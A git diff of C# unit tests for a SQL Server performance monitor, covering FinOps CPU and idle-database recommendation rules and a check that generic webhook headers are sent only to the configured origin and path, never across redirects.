+        var storage = Assert.Single(rows, r => r.Category == "Storage");
+        Assert.Contains("UserDB", storage.Detail, StringComparison.Ordinal);
+        /* The note still tells the reader the other findings left the database out. */
+        Assert.Equal(AgReplicaScope.SkippedNote(1), note);
+    }
+
+    [Fact]
+    public void TheFilterHelper_DropsOnlyTheSecondaries_ThatTheDevTestTdeAndCompressionRulesShare()
+    {
+        var secondary = new HashSet<string>(StringComparer.Ordinal) { "SalesDev" };
+
+        /* Exact names (#5558 round 2): the set and the lists come from the same catalog, so a name that differs only by
+           case is a different database on a case-sensitive server and is kept. */
+        Assert.Equal(["salesdev", "OrdersTest", "qa_one"], AgReplicaScope.WithoutSecondaries(["salesdev", "SalesDev", "OrdersTest", "qa_one"], secondary));
+        Assert.True(AgReplicaScope.IsSkipped(secondary, "SalesDev"));
+        Assert.False(AgReplicaScope.IsSkipped(secondary, "SALESDEV"));
+        Assert.False(AgReplicaScope.IsSkipped(secondary, "OrdersTest"));
+        /* Fail open: nothing, null and blank skip nothing. */
+        Assert.Equal(["a", "b"], AgReplicaScope.WithoutSecondaries(["a", "b"], null));
+        Assert.Equal(["a", "b"], AgReplicaScope.WithoutSecondaries(["a", "b"], new HashSet<string>()));
+        Assert.False(AgReplicaScope.IsSkipped(secondary, null));
+        Assert.False(AgReplicaScope.IsSkipped(secondary, " "));
+    }
+}
diff --git a/Lite.Tests/FinOpsServerInventoryTests.cs b/Lite.Tests/FinOpsServerInventoryTests.cs
index 4315fa3ec0..16666115a2 100644
--- a/Lite.Tests/FinOpsServerInventoryTests.cs
+++ b/Lite.Tests/FinOpsServerInventoryTests.cs
@@ -34,6 +34,7 @@ namespace PerformanceMonitorLite.Tests;
 /// other tests that do the same share.</para>
 /// </summary>
 [Collection("app-logger-statics")]
+[Trait("Stage", "Guard")]
 public sealed class FinOpsServerInventoryTests : IDisposable
 {
     private readonly string _tempDir = Path.Combine(Path.GetTempPath(), "LiteFinOpsInv_" + Guid.NewGuid().ToString("N")[..8]);
@@ -156,8 +157,8 @@ public async Task TheOverlayLandsByStorageNameId_AndAServerWhoseLiveReadFailsIsL
     [Fact]
     public async Task ACollectedServerThatIsNoLongerListed_NeverAppearsInTheInventory()
     {
-        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "inventory.duckdb"));
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "inventory.duckdb"));
+        await initializer.InitializeFromTemplateAsync();
 
         var listed = Server("inv-still-listed");
         var removed = Server("inv-removed-from-monitor");
diff --git a/Lite.Tests/FinOpsSizeGridReloadPinTests.cs b/Lite.Tests/FinOpsSizeGridReloadPinTests.cs
index b4ba368d01..6f5e456147 100644
--- a/Lite.Tests/FinOpsSizeGridReloadPinTests.cs
+++ b/Lite.Tests/FinOpsSizeGridReloadPinTests.cs
@@ -21,6 +21,7 @@ namespace Lite.Tests;
 /// last load of each grid produced no rows (empty, failed or superseded) and re-runs just that load when the
 /// tab is shown again. WPF cannot run here, so this is a source pin anchored on the method declarations.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FinOpsSizeGridReloadPinTests
 {
     private static string ReadFinOpsTab([CallerFilePath] string thisFile = "")
diff --git a/Lite.Tests/FinOpsTests.cs b/Lite.Tests/FinOpsTests.cs
index 712a762be8..054f9176a7 100644
--- a/Lite.Tests/FinOpsTests.cs
+++ b/Lite.Tests/FinOpsTests.cs
@@ -31,10 +31,12 @@ public FinOpsTests(SharedDuckDbFixture fixture)
     [Fact]
     public async Task OverProvisionedEnterprise_CpuRightSizingFires()
     {
-        var recs = await RunRecommendationsAsync(s => s.SeedOverProvisionedEnterpriseAsync());
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedOverProvisionedEnterpriseAsync()));
         PrintRecommendations("OVER-PROVISIONED ENTERPRISE (CPU)", recs);
 
-        Assert.Contains(recs, r => r.Category == "Compute" && r.Finding.Contains("CPU", StringComparison.OrdinalIgnoreCase));
+        // One CPU row per server: of the compute rule's ~4 cores and the prescriptive rule's 8, the 8-core row stays.
+        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU", StringComparison.Ordinal));
+        Assert.Equal("Hardware", cpu.Category);
     }
 
     [Fact]
@@ -72,13 +74,126 @@ public async Task NoCpuSamples_CpuAndVmRightSizingAdviseNothing()
         Assert.Contains(recs, r => r.Finding.StartsWith("Memory over-provisioned", StringComparison.Ordinal));
     }
 
+    /* ── One CPU right-sizing row per server, and none from minutes of data ── */
+
+    [Fact]
+    public async Task CpuRightSizing_FromMinutesOfSamples_AdvisesNothing_ButMemoryStillAdvises()
+    {
+        // 16 samples 15 minutes apart: under four hours, the ring-buffer backfill of a first collect, not a day of load.
+        var recs = await RunRecommendationsAsync(s => s.SeedRightSizingScenarioAsync(engineEdition: 3, withCpuSamples: true));
+        PrintRecommendations("CPU FROM MINUTES OF SAMPLES", recs);
+
+        Assert.DoesNotContain(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal));
+        Assert.DoesNotContain(recs, r => r.Finding.StartsWith("CPU: reduce", StringComparison.Ordinal));
+        Assert.Contains(recs, r => r.Finding.StartsWith("Memory over-provisioned", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task CpuRightSizing_BothRulesFire_ThirtyTwoCores_KeepsOnlyTheRowThatKeepsMoreCores()
+    {
+        // P95 8%: the compute rule says ~4 of 32 cores, the prescriptive rule says 8. Both spoke before; now only the 8-core row.
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(engineEdition: 3, withCpuSamples: true)));
+        PrintRecommendations("CPU BOTH RULES, 32 CORES", recs);
+
+        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal)
+                                         || r.Finding.StartsWith("CPU: reduce", StringComparison.Ordinal));
+        Assert.StartsWith("CPU: reduce from 32 to 8 cores", cpu.Finding, StringComparison.Ordinal);
+        // The memory row beside it is not a CPU row and stays.
+        Assert.Contains(recs, r => r.Finding.StartsWith("Memory: reduce from 256GB", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task CpuRightSizing_BothRulesFire_EightCores_KeepsTheComputeRow_BecauseItKeepsMoreCores()
+    {
+        // P95 8% on 8 cores: the compute rule says ~4, the prescriptive rule says 2. The compute row keeps more cores and stays.
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(engineEdition: 3, withCpuSamples: true, cpuCount: 8)));
+        PrintRecommendations("CPU BOTH RULES, 8 CORES", recs);
+
+        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal)
+                                         || r.Finding.StartsWith("CPU: reduce", StringComparison.Ordinal));
+        Assert.StartsWith("CPU over-provisioned (8 cores", cpu.Finding, StringComparison.Ordinal);
+        Assert.Contains("Consider reducing to ~4 cores", cpu.Detail, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(null, 8, true)]   // no compute row: the prescriptive row stands alone
+    [InlineData(4, 8, true)]      // it keeps more cores
+    [InlineData(4, 4, false)]     // a tie keeps the compute row
+    [InlineData(4, 2, false)]     // it keeps fewer
+    public void PrescriptiveCpuRow_ReplacesTheComputeRow_OnlyWhenItKeepsMoreCores(int? computeTarget, int prescriptiveTarget, bool wins)
+    {
+        Assert.Equal(wins, LocalDataService.PrescriptiveCpuRowWins(computeTarget, prescriptiveTarget));
+    }
+
+    [Theory]
+    [InlineData(0, false)]
+    [InlineData(60 * 60, false)]         // 60 minutes of backfill after a restart
+    [InlineData(22 * 3600, false)]
+    [InlineData(23 * 3600, true)]
+    [InlineData(24 * 3600, true)]
+    public void CpuWindowCoversEnough_NeedsMostOfTheTwentyFourHourWindow(int seconds, bool enough)
+    {
+        Assert.Equal(enough, LocalDataService.CpuWindowCoversEnough(TimeSpan.FromSeconds(seconds)));
+    }
+
+    [Fact]
+    public async Task CpuRightSizing_TwoDaysLastWeekThenSixtyMinutesOfFreshSamples_GivesNoTwentyFourHourRuleAdvice()
+    {
+        // The 7-day span is days (6 days back, then now) but the last 24 hours hold 60 minutes: rule 2's P95 is an hour's load.
+        var recs = await RunRecommendationsAsync(async s =>
+        {
+            await s.SeedRightSizingScenarioAsync(engineEdition: 3, withCpuSamples: false, cpuCount: 8);
+            await s.SeedFinOpsCpuUtilizationAsync(8, 2, samples: 48, spacingMinutes: 60, daysBack: 6);
+            await s.SeedFinOpsCpuUtilizationAsync(8, 2, samples: 13, spacingMinutes: 5);
+        });
+
+        Assert.DoesNotContain(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData(0, false)]
+    [InlineData(4 * 60, false)]          // the four minutes (here four hours) of a first collect
+    [InlineData(23 * 3600, false)]
+    [InlineData(24 * 3600, true)]
+    [InlineData(9 * 24 * 3600, true)]
+    public void CpuSamplesSpanEnough_NeedsAFullDay(int seconds, bool enough)
+    {
+        Assert.Equal(enough, LocalDataService.CpuSamplesSpanEnough(TimeSpan.FromSeconds(seconds)));
+    }
+
+    /* ── No licensing advice for a free edition ── */
+
+    [Theory]
+    [InlineData("Enterprise Edition (64-bit)", true)]
+    [InlineData("Enterprise Edition: Core-based Licensing (64-bit)", true)]
+    [InlineData("Enterprise Developer Edition (64-bit)", false)]
+    [InlineData("Developer Edition (64-bit)", false)]
+    [InlineData("Enterprise Evaluation Edition (64-bit)", false)]
+    [InlineData("Express Edition (64-bit)", false)]
+    [InlineData("Standard Edition (64-bit)", false)]
+    [InlineData("", false)]
+    [InlineData(null, false)]
+    public void LicensingAdvice_IsForPaidEnterpriseOnly(string? edition, bool advice)
+    {
+        Assert.Equal(advice, LocalDataService.EditionNeedsLicensingAdvice(edition));
+    }
+
+    [Fact]
+    public void LicensingCheck_AsksTheEditionRule_NotABareContainsEnterprise()
+    {
+        var src = global::Lite.Tests.ParitySource.ReadFile("Lite/Services/LocalDataService.FinOps.Recommendations.cs");
+
+        Assert.Contains("if (EditionNeedsLicensingAdvice(edition))", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("if (edition.Contains(\"Enterprise\"", src, StringComparison.Ordinal);
+    }
+
     [Fact]
     public async Task AzureSqlDatabase_MemoryAndVmRightSizingAdviseNothing_BecauseItsMemoryComesWithItsServiceObjective()
     {
         // The database uses 40,960 MB of its own 167,117 MB memory limit, a share that advises on any other edition. Its
         // service objective names 32 vCores, which is the CPU it is given. Its memory cannot be resized on its own,
         // so the memory and VM rules have nothing to recommend.
-        var recs = await RunRecommendationsAsync(s => s.SeedRightSizingScenarioAsync(engineEdition: 5, withCpuSamples: true, vcoreCount: 32));
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(engineEdition: 5, withCpuSamples: true, vcoreCount: 32)));
         PrintRecommendations("AZURE SQL DATABASE MEMORY AND VM RULES", recs);
 
         Assert.DoesNotContain(recs, r => r.Finding.StartsWith("Memory over-provisioned", StringComparison.Ordinal));
@@ -110,17 +225,17 @@ public async Task AzureSqlDatabaseWithNoVcores_CpuRightSizingAdvisesNothing_Beca
     [InlineData(8)]   // Azure SQL Managed Instance: its memory is its own
     public async Task WithCpuSamplesOffAzureSqlDatabase_CpuMemoryAndVmRightSizingStillAdvise(int engineEdition)
     {
-        var recs = await RunRecommendationsAsync(s => s.SeedRightSizingScenarioAsync(engineEdition, withCpuSamples: true));
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(engineEdition, withCpuSamples: true)));
         PrintRecommendations($"RIGHT-SIZING UNCHANGED (edition {engineEdition})", recs);
 
-        // Off an Azure SQL Database the count is a CPU count and the word is the one it always was.
-        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal));
-        Assert.StartsWith("CPU over-provisioned (32 cores, P95 = ", cpu.Finding, StringComparison.Ordinal);
-        Assert.Contains("across 32 cores. Consider reducing to ~", cpu.Detail, StringComparison.Ordinal);
-        Assert.EndsWith(" cores.", cpu.Detail, StringComparison.Ordinal);
+        // Off an Azure SQL Database the count is a CPU count and the word is the one it always was. Of the two CPU rules (the
+        // compute row's ~4 cores, the prescriptive row's 8) one row stays, the one that keeps more cores.
+        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal)
+                                         || r.Finding.StartsWith("CPU: reduce", StringComparison.Ordinal));
+        Assert.Equal("Hardware", cpu.Category);
+        Assert.StartsWith("CPU: reduce from 32 to 8 cores (P95 CPU ", cpu.Finding, StringComparison.Ordinal);
         Assert.DoesNotContain("vCores", cpu.Finding + cpu.Detail, StringComparison.Ordinal);
         Assert.Contains(recs, r => r.Finding.StartsWith("Memory over-provisioned", StringComparison.Ordinal));
-        Assert.Contains(recs, r => r.Category == "Hardware" && r.Finding.StartsWith("CPU: reduce from 32", StringComparison.Ordinal));
         Assert.Contains(recs, r => r.Category == "Hardware" && r.Finding.StartsWith("Memory: reduce from 256GB", StringComparison.Ordinal));
     }
 
@@ -168,11 +283,44 @@ public async Task IdleDatabases_FourHoursOfHistory_AdviseNothing_BecauseSevenDay
     [Fact]
     public async Task IdleDatabases_SixAndAHalfDaysOfHistory_AdviseNothing()
     {
+        // Sampled through every day, yet the oldest sample is only 6.5 days old: seven dates can all hold a sample after six days
+        // and a few minutes, so the per-day check alone would call this covered at most times of day.
         var recs = await RunRecommendationsAsync(s => s.SeedIdleDatabasesWithSixAndAHalfDaysOfHistoryAsync());
 
         Assert.DoesNotContain(recs, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
     }
 
+    [Fact]
+    public async Task IdleDatabases_SevenAndAHalfDaysOfHistoryMissingOneDay_AdviseNothing()
+    {
+        // Samples 8..1 days back except 3 days back: the oldest sample is older than 7 days, but nothing watched that one day.
+        var recs = await RunRecommendationsAsync(s => s.SeedIdleDatabasesWithSampleDaysAsync(8, 7, 6, 5, 4, 2, 1, 0));
+
+        Assert.DoesNotContain(recs, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
+    }
+
+    [Fact]
+    public async Task IdleDatabases_FullCoverageWithNoSampleYetToday_StillAdvise()
+    {
+        // Every complete day from 7 days back to yesterday holds a sample, nothing has arrived today (it is just after 00:00 UTC):
+        // the check must not wait for today's first sample.
+        var recs = await RunRecommendationsAsync(s => s.SeedIdleDatabasesWithSampleDaysAsync(8, 7, 6, 5, 4, 3, 2, 1));
+
+        var idle = Assert.Single(recs, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
+        Assert.Contains("No query activity in 7 days", idle.Detail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task IdleDatabases_AfterANineDayCollectionGap_AdviseNothing_BecauseNothingWatchedTheDaysBetween()
+    {
+        // The oldest query-stats sample is 9 days old, so "history reaches back 7 days" is true, but no sample falls on the days
+        // between it and today. Every database with no fresh sample read as idle, High confidence, for a server that was simply
+        // not being watched.
+        var recs = await RunRecommendationsAsync(s => s.SeedIdleDatabasesAfterANineDayCollectionGapAsync());
+
+        Assert.DoesNotContain(recs, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
+    }
+
     [Fact]
     public async Task IdleDatabases_SevenDaysOfHistory_StillAdvise()
     {
@@ -362,12 +510,13 @@ public async Task VmRightSizing_MemoryTargetThatRoundsToTheCurrentGb_GivesNoAdvi
     }
 
     [Fact]
-    public async Task VmRightSizing_TwoHoursOfSamples_StatesTwoHours_NotSevenDays()
+    public async Task VmRightSizing_TwoHoursOfSamples_CpuAdvisesNothing_AndMemoryStatesItsWindow_NotSevenDays()
     {
         var recs = await RunRecommendationsAsync(RightSizingSeed(262_144, 9, 15));
 
-        var cpu = Assert.Single(recs, r => r.Finding.StartsWith("CPU: reduce from 32", StringComparison.Ordinal));
-        Assert.StartsWith("From 9 samples over 2 hours, P95 CPU", cpu.Detail, StringComparison.Ordinal);
+        // Two hours of CPU samples are not a day of load: neither CPU rule speaks.
+        Assert.DoesNotContain(recs, r => r.Finding.StartsWith("CPU: reduce", StringComparison.Ordinal)
+                                      || r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal));
         var memory = Assert.Single(recs, r => r.Finding.StartsWith("Memory: reduce from 256GB", StringComparison.Ordinal));
         Assert.DoesNotContain("7 days", memory.Detail, StringComparison.Ordinal);
         // 16 memory samples 15 minutes apart span 225 minutes: three whole hours, never rounded up to four.
@@ -427,8 +576,8 @@ public async Task AzureSqlDatabase_MasterOfALogicalServer_GetsNoRightSizingAdvic
     {
         // The same idle seed: a user database keeps its CPU advice, master has nothing to resize. Master is seeded with 32 vCores
         // too (its real count is 4): the CPU rule needs more than 4, so only the stand-down can keep the advice away.
-        var recs = await RunRecommendationsAsync(s => s.SeedRightSizingScenarioAsync(
-            engineEdition: 5, withCpuSamples: true, vcoreCount: vcoreCount, serviceObjective: serviceObjective, edition: edition));
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(
+            engineEdition: 5, withCpuSamples: true, vcoreCount: vcoreCount, serviceObjective: serviceObjective, edition: edition)));
         PrintRecommendations($"AZURE SQL DATABASE ({edition})", recs);
 
         if (isMaster)
@@ -453,10 +602,10 @@ public async Task AzureSqlDatabase_MasterOfALogicalServer_GetsNoRightSizingAdvic
     [Fact]
     public async Task SqlServer_WithAServiceObjectiveNamedSystem_IsUnchanged()
     {
-        var recs = await RunRecommendationsAsync(s => s.SeedRightSizingScenarioAsync(
-            engineEdition: 3, withCpuSamples: true, serviceObjective: "System", edition: "Enterprise Edition (System)"));
+        var recs = await RunRecommendationsAsync(WithADayOfCpuHistory(s => s.SeedRightSizingScenarioAsync(
+            engineEdition: 3, withCpuSamples: true, serviceObjective: "System", edition: "Enterprise Edition (System)")));
 
-        Assert.Contains(recs, r => r.Finding.StartsWith("CPU over-provisioned", StringComparison.Ordinal));
+        Assert.Contains(recs, r => r.Finding.StartsWith("CPU: reduce from 32", StringComparison.Ordinal));
         var util = await new LocalDataService(_duckDb).GetUtilizationEfficiencyAsync(TestDataSeeder.TestServerId);
         Assert.NotNull(util);
         Assert.NotEqual(ProvisioningVerdict.NotApplicable, util.ProvisioningStatus);
@@ -464,6 +613,15 @@ public async Task SqlServer_WithAServiceObjectiveNamedSystem_IsUnchanged()
 
     /* ── Helpers ── */
 
+    /// <summary>The scenario, plus CPU samples from two days ago and a 24-hour window of samples half an hour apart: the 7-day span passes rule 12's gate and the oldest sample inside the 24 hours is 23.5 hours old, which rule 2's gate needs.</summary>
+    private static Func<TestDataSeeder, Task> WithADayOfCpuHistory(Func<TestDataSeeder, Task> scenario) =>
+        async s =>
+        {
+            await scenario(s);
+            await s.SeedOlderCpuHistoryAsync(8, 2);
+            await s.SeedFinOpsCpuUtilizationAsync(8, 2, samples: 48, spacingMinutes: 30);
+        };
+
     private async Task<List<RecommendationRow>> RunRecommendationsAsync(
         Func<TestDataSeeder, Task> seedAction, decimal monthlyCost = 10000m)
     {
@@ -513,7 +671,6 @@ private static void PrintRecommendations(string scenario, List<RecommendationRow
             output.WriteLine($"Category: {r.Category}  Severity: {r.Severity}  Confidence: {r.Confidence}");
             output.WriteLine($"Finding: {r.Finding}");
             output.WriteLine($"Detail: {r.Detail}");
-            output.WriteLine($"Est Savings: {r.EstMonthlySavingsDisplay}");
             output.WriteLine("");
         }
     }
diff --git a/Lite.Tests/FinOpsVerdictSourcePinTests.cs b/Lite.Tests/FinOpsVerdictSourcePinTests.cs
index 4b3394ce02..5ecee75524 100644
--- a/Lite.Tests/FinOpsVerdictSourcePinTests.cs
+++ b/Lite.Tests/FinOpsVerdictSourcePinTests.cs
@@ -28,6 +28,7 @@ namespace Lite.Tests;
 /// this whole issue is about — the shared predicate removed the duplicated LOGIC, but the two apps still
 /// carry their own copies of the SQL that feeds it.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FinOpsVerdictSourcePinTests
 {
     private const string Utilization = "Lite/Services/LocalDataService.FinOps.Utilization.cs";
diff --git a/Lite.Tests/FindingStoreTests.cs b/Lite.Tests/FindingStoreTests.cs
index 7816cba78f..c8f33f5da9 100644
--- a/Lite.Tests/FindingStoreTests.cs
+++ b/Lite.Tests/FindingStoreTests.cs
@@ -408,7 +408,7 @@ public async Task AnalysisSchemaUpgrade_FromV3_AddsRemediationColumn_PreservingE
         Directory.CreateDirectory(tempDir);
         try
         {
-            var legacyDb = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
+            using var legacyDb = new DuckDbInitializer(Path.Combine(tempDir, "test.duckdb"));
             await CreateLegacyV3AnalysisSchemaAsync(legacyDb, legacyFindingId: 4242);
 
             // Run the upgrade.
diff --git a/Lite.Tests/FindingsRetentionHorizonPinTests.cs b/Lite.Tests/FindingsRetentionHorizonPinTests.cs
index fb75895b94..0c35a0f24e 100644
--- a/Lite.Tests/FindingsRetentionHorizonPinTests.cs
+++ b/Lite.Tests/FindingsRetentionHorizonPinTests.cs
@@ -37,6 +37,7 @@ namespace Lite.Tests;
 /// which is the right shape for a purge test. What was missing was a guard on the NUMBER and where it
 /// comes from, so that is all this adds.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FindingsRetentionHorizonPinTests
 {
     /// <summary>
diff --git a/Lite.Tests/ForcePlanTargetStateTests.cs b/Lite.Tests/ForcePlanTargetStateTests.cs
index 5b0f5c205a..f076b2d50c 100644
--- a/Lite.Tests/ForcePlanTargetStateTests.cs
+++ b/Lite.Tests/ForcePlanTargetStateTests.cs
@@ -37,6 +37,7 @@ namespace Lite.Tests;
 /// <c>query_store_stats</c> + <c>plan_correction</c> rows, plus the parity pin holding Darling's Postgres
 /// twin to the same text.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class ForcePlanTargetStateTests : IClassFixture<SharedDuckDbFixture>, IDisposable
 {
     private const int ServerId = 3652;
diff --git a/Lite.Tests/GenericWebhookHeadersOriginTests.cs b/Lite.Tests/GenericWebhookHeadersOriginTests.cs
new file mode 100644
index 0000000000..3d48abf6fc
--- /dev/null
+++ b/Lite.Tests/GenericWebhookHeadersOriginTests.cs
@@ -0,0 +1,313 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Notifications;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5366: the generic webhook's configured headers go only to the generic URL itself or a path under it (same
+/// scheme, host and port, and the path equal or continuing at a "/"), and are never sent across a redirect. A route
+/// can point the generic channel at another URL; that URL gets the body and not the headers. The sender is shared,
+/// so Lite and Darling follow the same rule.
+/// </summary>
+public sealed class GenericWebhookHeadersOriginTests
+{
+    private const string HeadersJson = "{\"X-Fake-Key\":\"not-real-value\"}";
+
+    [Theory]
+    [InlineData("https://example.test/a", "https://example.test/a", true)]
+    [InlineData("HTTPS://EXAMPLE.TEST:443/a", "https://example.test/a", true)]
+    [InlineData("https://example.test/alerts/team-a", "https://example.test/alerts", true)]
+    [InlineData("https://example.test/alerts/team-a", "https://example.test/alerts/", true)]
+    [InlineData("https://example.test/alerts?x=1", "https://example.test/alerts?y=2", true)]
+    [InlineData("https://example.test/", "https://example.test", true)]
+    [InlineData("https://example.test", "https://example.test/", true)]
+    [InlineData("https://example.test/anything", "https://example.test", false)]
+    [InlineData("https://example.test/anything", "https://example.test/", false)]
+    [InlineData("https://example.test/alerts%2Fteam-a", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/team%2fa", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/team%5Ca", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts%5cteam-a", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/a%2Fb", "https://example.test/a%2Fb", false)]
+    [InlineData("https://example.test/alerts2", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/other", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/Alerts", "https://example.test/alerts", false)]
+    [InlineData("https://example.test/alerts/../other", "https://example.test/alerts", false)]
+    [InlineData("https://example.test", "https://example.test/alerts", false)]
+    [InlineData("http://example.test/a", "https://example.test/a", false)]
+    [InlineData("https://other.example.test/a", "https://example.test/a", false)]
+    [InlineData("https://example.test:8443/a", "https://example.test/a", false)]
+    [InlineData("", "https://example.test/a", false)]
+    [InlineData("not a url", "not a url", false)]
+    public void HeadersApplyTo_ComparesOriginAndPath(string route, string generic, bool expected) =>
+        Assert.Equal(expected, WebhookAlertService.HeadersApplyTo(route, generic));
+
+    [Fact]
+    public async Task TheConfiguredEndpoint_ReceivesTheHeaders()
+    {
+        using var configured = new Capture();
+
+        await SendAsync(configured.Url, routedUrl: null);
+
+        Assert.Equal(1, configured.Requests);
+        Assert.Contains("X-Fake-Key: not-real-value", configured.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARouteToAnotherPathOnTheSameEndpoint_ReceivesTheHeaders()
+    {
+        using var configured = new Capture();
+
+        await SendAsync(configured.Url + "/alerts", routedUrl: configured.Url + "/alerts/routed");
+
+        Assert.Equal(1, configured.Requests);
+        Assert.Contains("X-Fake-Key: not-real-value", configured.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARouteToAnotherPath_WhenTheConfiguredUrlIsTheSiteRoot_ReceivesTheBodyAndNoHeaders()
+    {
+        using var configured = new Capture();
+
+        await SendAsync(configured.Url + "/", routedUrl: configured.Url + "/routed");
+
+        Assert.Equal(1, configured.Requests);
+        Assert.DoesNotContain("X-Fake-Key", configured.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARouteToAnotherEndpoint_ReceivesTheBodyAndNoHeaders()
+    {
+        using var configured = new Capture();
+        using var routed = new Capture();
+
+        await SendAsync(configured.Url, routedUrl: routed.Url);
+
+        Assert.Equal(0, configured.Requests);
+        Assert.Equal(1, routed.Requests);
+        Assert.DoesNotContain("X-Fake-Key", routed.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARouteToADifferentPathOnTheSameHost_ReceivesTheBodyAndNoHeaders()
+    {
+        using var shared = new Capture();
+
+        await SendAsync(shared.Url + "/alerts", routedUrl: shared.Url + "/other");
+
+        Assert.Equal(1, shared.Requests);
+        Assert.DoesNotContain("X-Fake-Key", shared.LastRequestHead, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task ARedirectAnswerToAHeaderSend_IsAFailedSend_AndTheTargetIsNotCalled()
+    {
+        using var target = new Capture();
+        using var configured = new Capture(redirectTo: target.Url + "/final");
+        var service = NewService(configured.Url, Array.Empty<NotificationRoute>());
+
+        var result = await service.TrySendWebhookAlertsAsync("High CPU", "example-server", "97%", "90%", serverId: "1");
+
+        Assert.Equal(1, configured.Requests);
+        Assert.Equal(0, target.Requests);
+        Assert.NotNull(result.SendError);
+        Assert.Contains("redirect", result.SendError, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(target.Url, result.SendError, StringComparison.Ordinal);
+        Assert.DoesNotContain("not-real-value", result.SendError, StringComparison.Ordinal);
+    }
+
+    private static async Task SendAsync(string configuredUrl, string? routedUrl)
+    {
+        var routes = routedUrl is null
+            ? Array.Empty<NotificationRoute>()
+            : new[] { new NotificationRoute(1, "High CPU", "", "", routedUrl, "", "", true) };
+        var service = NewService(configuredUrl, routes);
+
+        await service.TrySendWebhookAlertsAsync("High CPU", "example-server", "97%", "90%", serverId: "1");
+    }
+
+    private static WebhookAlertService NewService(string configuredUrl, IReadOnlyList<NotificationRoute> routes) =>
+        new(new Settings(configuredUrl, routes), EmailAlertService.Branding, new AppLoggerAdapter<WebhookAlertService>());
+
+    private sealed class Settings : IAlertSettings
+    {
+        private readonly string _genericUrl;
+
+        public Settings(string genericUrl, IReadOnlyList<NotificationRoute> routes)
+        {
+            _genericUrl = genericUrl;
+            NotificationRoutes = routes;
+        }
+
+        public IReadOnlyList<NotificationRoute> NotificationRoutes { get; }
+
+        public bool SmtpEnabled => false;
+        public string SmtpServer => "";
+        public int SmtpPort => 25;
+        public bool SmtpUseSsl => false;
+        public string SmtpUsername => "";
+        public string SmtpFromAddress => "";
+        public string SmtpRecipients => "";
+        public string? GetSmtpPassword() => null;
+        public int EmailCooldownMinutes => 15;
+
+        public bool TeamsWebhookEnabled => false;
+        public string TeamsWebhookUrl => "";
+        public string TeamsProxyAddress => "";
+
+        public bool SlackWebhookEnabled => false;
+        public string SlackWebhookUrl => "";
+        public string SlackProxyAddress => "";
+
+        public bool GenericWebhookEnabled => true;
+        public string GenericWebhookUrl => _genericUrl;
+        public string GenericWebhookHeadersJson => HeadersJson;
+        public string GenericWebhookBodyTemplate => "";
+        public string GenericWebhookProxyAddress => "";
+
+        public bool PagerDutyEnabled => false;
+        public string PagerDutyRoutingKey => "";
+        public bool PagerDutyUseEuRegion => false;
+        public string PagerDutyProxyAddress => "";
+
+        public double AnalysisNotifySeverity => 0.5;
+        public int AnalysisNotifyCooldownMinutes => 360;
+        public int AnalysisPageCap => 10;
+        public string TriageBaseUrl => "";
+    }
+
